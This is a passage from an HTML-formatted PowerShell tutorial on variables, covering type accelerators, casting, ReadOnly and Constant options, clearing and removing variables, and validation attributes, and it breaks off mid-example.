<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[scriptblock]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">PowerShell scriptblock</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[single], [float]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Single-precision floating point number</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[string]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">String</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[switch]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">PowerShell switch parameter</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[timespan]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Time interval</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[type]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Type</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[uint16]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Unsigned 16-bit integer</font></font></td></tr>
<tr style="height: 16.5pt" height="22">
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl66" height="22" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[uint32]</font></font></td>
<td style="border-bottom: black 0.5pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: #f9f9f9; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl69" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Unsigned 32-bit integer</font></font></td></tr>
<tr style="height: 15.75pt" height="21">
<td style="border-bottom: #ff4305 1pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl65" height="21" width="186"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">[uint64]</font></font></td>
<td style="border-bottom: #ff4305 1pt solid; border-left: #ff4305 1pt solid; padding-left: 9px; padding-right: 1px; font-family: ; background: white; color: ; vertical-align: middle; border-top: #cccccc 1.5pt solid; border-right: #ff4305 1pt solid; text-decoration: ; padding-top: 1px; text-underline-style: none; text-line-through: none; mso-pattern: black none" class="xl68" width="468"><font face="Arial"><font style="font-size: 8.8pt" color="#333333">Unsigned 64-bit integer</font></font></td></tr></tbody></table></font>
<p>&nbsp;</p>
<p>In PowerShell variables are dynamic. This means that we do not have to declare them and specify a type ahead of use and it can take any value type we want to give it.</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var1</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> 1<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var1</font><font color="#000000" size="2" face="Courier New">.GetType().Name<p align="left">Int32<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var1</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"string"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var1</font><font color="#000000" size="2" face="Courier New">.GetType().Name<p align="left">String<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var1</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">1.30</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var1</font><font color="#000000" size="2" face="Courier New">.GetType().Name<p align="left">Double</font></p></pre>
<p>Now as mentioned before PowerShell variables can be dynamically typed, but we can also strong type variable by casting them using the variable type:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; [</font><font color="#008080" size="2" face="Courier New">int32</font><font color="#000000" size="2" face="Courier New">]</font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> 10<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New">.GetType().Name<p align="left">Int32<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"hello"</font></p><font color="#ff0000">Cannot convert value "hello" to type "System.Int32". Error: "Input string was not in a correct format."
At line:1 char:6
+ $var2 &lt;&lt;&lt;&lt;  = "hello"
    + CategoryInfo          : MetadataError: (:) [], ArgumentTransformationMetadataException
    + FullyQualifiedErrorId : RuntimeException</font></pre>
<p>As we can see we got an error when we tried to save a string to the variable. The type is set in the Attribute property of the variable and if we remove the attribute it will become a dynamic variable again. </p>
<h2>Variable Options and Attributes</h2>
<p>We can also mark variables as read only using the SetVariable cmdlet on existing variables or when creating them with the New-Variable cmdlet:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Set-Variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-Name</font><font color="#000000" size="2" face="Courier New"></i> </font><font color="#800000" size="2" face="Courier New">var2</font><font color="#000000" size="2" face="Courier New"> -Option </font><font color="#800000" size="2" face="Courier New">ReadOnly</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> 20</font></p><font color="#ff0000">Cannot overwrite variable var2 because it is read-only or constant.
At line:1 char:6
+ $var2 &lt;&lt;&lt;&lt;  = 20
    + CategoryInfo          : WriteError: (var2:String) [], SessionStateUnauthorizedAccessException
    + FullyQualifiedErrorId : VariableNotWritable</font></pre>
<p>As we can see we could not change the value on a ReadOnly variable by using assignment. But we can change it using the Set-Variable cmdlet and giving it the parameter of –Force:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Set-Variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-Name</font><font color="#000000" size="2" face="Courier New"></i> </font><font color="#800000" size="2" face="Courier New">var2</font><font color="#000000" size="2" face="Courier New"> -Value 20 -Force<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"><p align="left">20</font></p></pre>
<p>If we want an immutable variable we have to create the variable as a Constant. By declaring it as one it can not be deleted, changed nor cleared during the duration of a session. </p>
<p>For clearing a variable we can use the Clear-Variable cmdlet or assign to it the $null value ($null is an Automatic variable created by PowerShell at startup of a session)</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$testvar</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"hello"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$testvar</font><font color="#000000" size="2" face="Courier New"><p align="left">hello<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Clear-Variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">testvar</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$testvar</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt;</font></p></pre>
<p>We can also treat it as file (Child-Item) in a file system in the variables PSDrive:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$testvar</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"hello"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Get-Content</font><font color="#000000" size="2" face="Courier New"> Variable:\testvar<p align="left">hello<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Set-Content</font><font color="#000000" size="2" face="Courier New"> -Value </font><font color="#800080" size="2" face="Courier New">$null</font><font color="#000000" size="2" face="Courier New"> -Path Variable:\testvar<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800000" size="2" face="Courier New">Get-Content</font><font color="#000000" size="2" face="Courier New"> Variable:\testvar<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt;</font></p></pre><pre></pre>
<p>We can also use assignment to clear the variable this is done by assigning $null to it:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var4</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"PS Rocks!"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var4</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800080" size="2" face="Courier New">$null</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var4</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt;</font>
</p></pre>
<p>To delete a variable we use the Remove-Variable cmdlet and it will be deleted from the current session:</p><pre class="brush: ps;">PS C:\Users\Carlos\Desktop&gt; Remove-Variable var4
PS C:\Users\Carlos\Desktop&gt; dir variable:\var*

Name                           Value
----                           -----
var1                           1.3
var2                           20
</pre>
<p>If a Variable has an option of ReadOnly we can remove it by passing the parameter of –Force to the Remove-Variable cmdlet.</p>
<p>Variables in PowerShell can have several attributes that will control not only the variable type it will accept but other restrictions we might want to impose upon them. Attributes are saved as an Array in the property which allows us to have several attributes assigned to the variable object. Lets look at the attributes of $var2:</p><pre class="brush: ps;"><font color="#9bbb59"># We get the variable object first in to another variable to make it easier to manipulate</font>
<font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$avar</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">Get-Variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">var2</font></p><font color="#9bbb59"># Lets get members of the variable</font>
<font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$avar</font><font color="#000000" size="2" face="Courier New"> | </font><font color="#5f9ea0" size="2" face="Courier New"><b>Get-Member</b></font></p>
   TypeName: System.Management.Automation.PSVariable

Name         MemberType Definition
----         ---------- ----------
Equals       Method     bool Equals(System.Object obj)
GetHashCode  Method     int GetHashCode()
GetType      Method     type GetType()
IsValidValue Method     bool IsValidValue(System.Object value)
ToString     Method     string ToString()
Attributes   Property   System.Collections.ObjectModel.Collection`1[[System.Attribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] Attributes {get;}
Description  Property   System.String Description {get;set;}
Module       Property   System.Management.Automation.PSModuleInfo Module {get;}
ModuleName   Property   System.String ModuleName {get;}
Name         Property   System.String Name {get;}
Options      Property   System.Management.Automation.ScopedItemOptions Options {get;set;}
Value        Property   System.Object Value {get;set;}
Visibility   Property   System.Management.Automation.SessionStateEntryVisibility Visibility {get;set;}

<font color="#9bbb59">#Lets get the attribute property</font>
<font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$avar</font><font color="#000000" size="2" face="Courier New">.Attributes</font></p>
TypeId
------
System.Management.Automation.ArgumentTypeConverterAttribute
</pre>
<p>The attributes we can set are:</p>
<ul>
<li><strong>System.Management.Automation. ValidateSetAttribute</strong> – The value may have only a given set of values.</li>
<li><strong>System.Management.Automation. ValidateRangeAttribute</strong> – The value must match a particular number range.</li>
<li><strong>System.Management.Automation. ValidatePatternAttribute</strong> – The value must match a Regular Expression.</li>
<li><strong>System.Management.Automation.ValidateNotNullOrEmptyAttribute</strong> –The value may not be zero or empty ($null).</li>
<li><strong>System.Management.Automation. ValidateNotNullAttribute</strong> – The value may not be zero.</li>
<li><strong>System.Management.Automation. ValidateLengthAttribute</strong> – The value must be in a specified range given a minimum and maximum length.</li></ul>
<p>The attributes must be objects and they are set using the method of Attribute.Add() and we pass as an argument a new object created with the New-Object cmdlet. Lets start by clearing the&nbsp; attribute for Int types. </p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$avar</font><font color="#000000" size="2" face="Courier New">.Attributes.Clear()<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$avar</font><font color="#000000" size="2" face="Courier New">.Attributes<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt;</font></p></pre>
<p>Let make a variable only take a Range:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt;</font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> 5 </font><font color="#800000" size="2" face="Courier New">PS</font><font color="#000000" size="2" face="Courier New"> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$avar</font><font color="#000000" size="2" face="Courier New">.Attributes.Add($(</font><font color="#5f9ea0" size="2" face="Courier New"><b>New-Object</font><font color="#000000" size="2" face="Courier New"></b> </font><font color="#800000" size="2" face="Courier New">System.Management.Automation.ValidateRangeAttribute</font><font color="#000000" size="2" face="Courier New"> </font><font color="#5f9ea0" size="2" face="Courier New"><i>-argumentList</font><font color="#000000" size="2" face="Courier New"></i> 1,20))<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> 1<p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> 22<p align="left"><font color="#ff0000">The variable cannot be validated because the value 22 is not a valid value </font></font><font color="#ff0000" size="2" face="Courier New">for</font><font size="2" face="Courier New"><font color="#ff0000"> the var2 variable.</font><p align="left"><font color="#ff0000">At line:1 char:6</font><p align="left"></font><font color="#ff0000"><font size="2" face="Courier New">+</font><font size="2" face="Courier New"> </font><font size="2" face="Courier New">$var2</font><font size="2" face="Courier New"> &lt;&lt;&lt;&lt; </font><font size="2" face="Courier New">=</font></font><font size="2" face="Courier New"><font color="#ff0000"> 22</font><p align="left"></font><font color="#ff0000" size="2" face="Courier New">+</font><font size="2" face="Courier New"><font color="#ff0000"> CategoryInfo : MetadataError: (:) [], ValidationMetadataException</font><p align="left"></font><font color="#ff0000"><font size="2" face="Courier New">+</font><font size="2" face="Courier New"> FullyQualifiedErrorId : ValidateSetFailure</font></font></p></pre>
<p>Lets look now at setting a set of approved values:</p><pre class="brush: ps;"><font color="#5f9ea0" size="2" face="Courier New"><p align="left"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$var2</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">"yes"</font><font color="#000000" size="2" face="Courier New"><p align="left"></font><font color="#5f9ea0" size="2" face="Courier New"><b>PS</font><font color="#000000" size="2" face="Courier New"></b> C:\</font><font color="#800000" size="2" face="Courier New">Users\Carlos\Desktop</font><font color="#000000" size="2" face="Courier New">&gt; </font><font color="#800080" size="2" face="Courier New">$avar</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">=</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">Get-Variable</font><font color="#000000" size="2" face="Courier New"> </font><font color="#800000" size="2" face="Courier New">var2</font><font color="#000000" size="2" face="Courier New"><p 